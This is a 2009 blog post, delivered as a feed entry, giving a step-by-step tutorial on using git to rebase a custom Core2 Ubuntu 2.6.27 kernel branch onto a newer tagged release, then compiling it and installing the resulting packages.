kernel again you can also go straight to &lt;strong&gt;Upgrading the source&lt;/strong&gt;.&lt;/p&gt; &lt;h2&gt;Preparing manual upgrade&lt;/h2&gt; &lt;p&gt;We need to work in our created branch&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;git checkout core2&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;We’re going to copy all the files we needed to change, restore the branch to it’s original starting point and copy all of our files back again. To keep remember this state we’ll do a commit.&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.13&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;core2 ..&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.13&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;core2.modules ..&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;scripts&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;misc&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;getabis ..&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;rules.d&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386.mk ..&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;control.stub ..&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;control ..&lt;br /&gt;git reset &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;--hard&lt;/span&gt;&lt;br /&gt;git git clean &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-xdf&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;core2 debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.13&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;core2.modules debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.13&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;getabis debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;scripts&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;misc&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386.mk debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;rules.d&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;control.stub debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;cp&lt;/span&gt; ..&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;control debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;&lt;br /&gt;git commit &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-m&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&quot;Core2 modifications&quot;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;h2&gt;Upgrading the source&lt;/h2&gt; &lt;p&gt;It’s time to get the new kernel source.&lt;br /&gt;We’re going to update our master branch and use the master branch to update our own core2 branch.&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;git checkout master&lt;br /&gt;git pull&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;If you have a problem switching to the master branch and you are stuck in the core2 branch use the following commands&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;git reset HEAD &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;--hard&lt;/span&gt;&lt;br /&gt;git clean &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-xdf&lt;/span&gt;&lt;br /&gt;git checkout master&lt;br /&gt;git pull&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;We now have the latest kernel source but we don’t want to the updates that are part of the next release.&lt;br /&gt;To check for the latest tagged version the easiest way is to check the debian changelog.&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt; &lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;less&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;changelog&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;Look for the second section of the changelog&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;linux &lt;span style=&quot;color: rgb(122, 8, 116); font-weight: bold;&quot;&gt;(&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.21&lt;/span&gt;&lt;span style=&quot;color: rgb(122, 8, 116); font-weight: bold;&quot;&gt;)&lt;/span&gt; UNRELEASED; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;urgency&lt;/span&gt;=low&lt;br /&gt;&lt;br /&gt;CHANGELOG: Do not edit directly. Autogenerated at release.&lt;br /&gt;CHANGELOG: Use the printchanges target to see the curent changes.&lt;br /&gt;CHANGELOG: Use the insertchanges target to create the final log.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;--&lt;/span&gt;  Tim Gardner   Mon, &lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;24&lt;/span&gt; Nov &lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;2008&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10&lt;/span&gt;:&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;50&lt;/span&gt;:&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;51&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-0700&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;linux &lt;span style=&quot;color: rgb(122, 8, 116); font-weight: bold;&quot;&gt;(&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;&lt;span style=&quot;color: rgb(122, 8, 116); font-weight: bold;&quot;&gt;)&lt;/span&gt; intrepid-proposed; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;urgency&lt;/span&gt;=low&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;In this case the latest tagged version is 2.6.27-10.20&lt;br /&gt;Let’s find the git tag name for this version&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;git tag &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-l&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;*&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;*&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;This will result in&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;Ubuntu-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;We want to reset our git repository to this state, as we don’t want the unreleased updates&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt; git reset Ubuntu-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;--hard&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;To check if the above command really worked&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt;git log&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;And log should say:&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot;  style=&quot;font-family:monospace;&quot;&gt; UBUNTU: Ubuntu-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;Now that the master branch is all set we can go into our core branch and get ready for compilation.&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; face=&quot;monospace&quot;&gt;git checkout core2&lt;br /&gt;git reset &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;--hard&lt;/span&gt;&lt;br /&gt;git clean &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-xdf&lt;/span&gt;&lt;br /&gt;git merge master&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;Because we added files to the directory&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;text&quot; style=&quot;font-family: monospace;&quot;&gt;debian/abi/2.6.27-7.16/i386/&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;we need to move these files ourselves to the new abi directory&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; face=&quot;monospace&quot;&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;mv&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.16&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;core2&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;*&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;8.17&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;i386&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;rm&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-rf&lt;/span&gt; debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;abi&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;7.16&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;We need to edit the control file debian/control.&lt;br /&gt;In the sections of core2 we created we need to change all the references to -7 to -10. I usually do it using vi, search for -7 and manually replacing it with -10.&lt;/p&gt; &lt;p&gt;Now we need to commit our changes in the git repository&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; face=&quot;monospace&quot;&gt;git add.&lt;br /&gt;git commit &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-a&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-m&lt;/span&gt; &lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;&quot;Core2 modifications&quot;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;The text after -m is the message you add to your commit.&lt;/p&gt; &lt;h2&gt;Compilation&lt;/h2&gt; &lt;p&gt;It’s time for compiling.&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;CONCURRENCY_LEVEL&lt;/span&gt;=&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;NOEXTRAS&lt;/span&gt;=&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;skipabi&lt;/span&gt;=&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;skipmodule&lt;/span&gt;=&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;true&lt;/span&gt; fakeroot debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;rules binary-core2&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;As we are upgrading to a higher version of the kernel we also need to compile the default linux-headers file&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;CONCURRENCY_LEVEL&lt;/span&gt;=&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;NOEXTRAS&lt;/span&gt;=&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;skipabi&lt;/span&gt;=&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;true&lt;/span&gt; &lt;span style=&quot;color: rgb(0, 120, 0);&quot;&gt;skipmodule&lt;/span&gt;=&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;true&lt;/span&gt; fakeroot debian&lt;span style=&quot;color: rgb(0, 0, 0); font-weight: bold;&quot;&gt;/&lt;/span&gt;rules binary-indep&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;h2&gt;Installation&lt;/h2&gt; &lt;p&gt;After the compilation is finished we’ll have two deb files in the parent directory. To install the files&lt;/p&gt;  &lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;bash&quot; style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;dpkg&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-i&lt;/span&gt; linux-image-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10&lt;/span&gt;-core2_2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;_i386.deb&lt;br /&gt;&lt;span style=&quot;color: rgb(194, 12, 185); font-weight: bold;&quot;&gt;dpkg&lt;/span&gt; &lt;span style=&quot;color: rgb(102, 0, 51);&quot;&gt;-i&lt;/span&gt; linux-headers-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10&lt;/span&gt;-core2_2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;_i386.deb linux-headers-2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10&lt;/span&gt;_2.6.27-&lt;span style=&quot;color: rgb(0, 0, 0);&quot;&gt;10.20&lt;/span&gt;_all.deb&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;  &lt;p&gt;Check your bootloader if the newly installed kernel is the default one, for grub edit the file /boot/grub/menu.lst&lt;/p&gt; &lt;p&gt;Reboot and enjoy your newly installed kernel.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://cafehack.blogspot.com/feeds/2109117349706767043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1501855996580398212/2109117349706767043' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2109117349706767043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1501855996580398212/posts/default/2109117349706767043'/><link rel='alternate' type='text/html' href='http://cafehack.blogspot.com/2009/06/how-to-update-custom-compiled-kernel-to.html' title='How to update the custom compiled kernel to a new release using git'/><author><name>LHX</name><uri>http://www.blogger.com/profile/18265848872395573930</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWCqe42RgLitbguM5QRnrlo-um_0w5sz61MJecua0-ijGrDPshS1I5KSJYQKc6F770oVcSIroBPsn1E23aODE-Sh0hj7RGUOPqkAsabLyQUzvob32DpNIwOdg6yqdNaEU/s220/IMG_0794.JPG'/></author><thr:total>0</thr:total></entry></feed>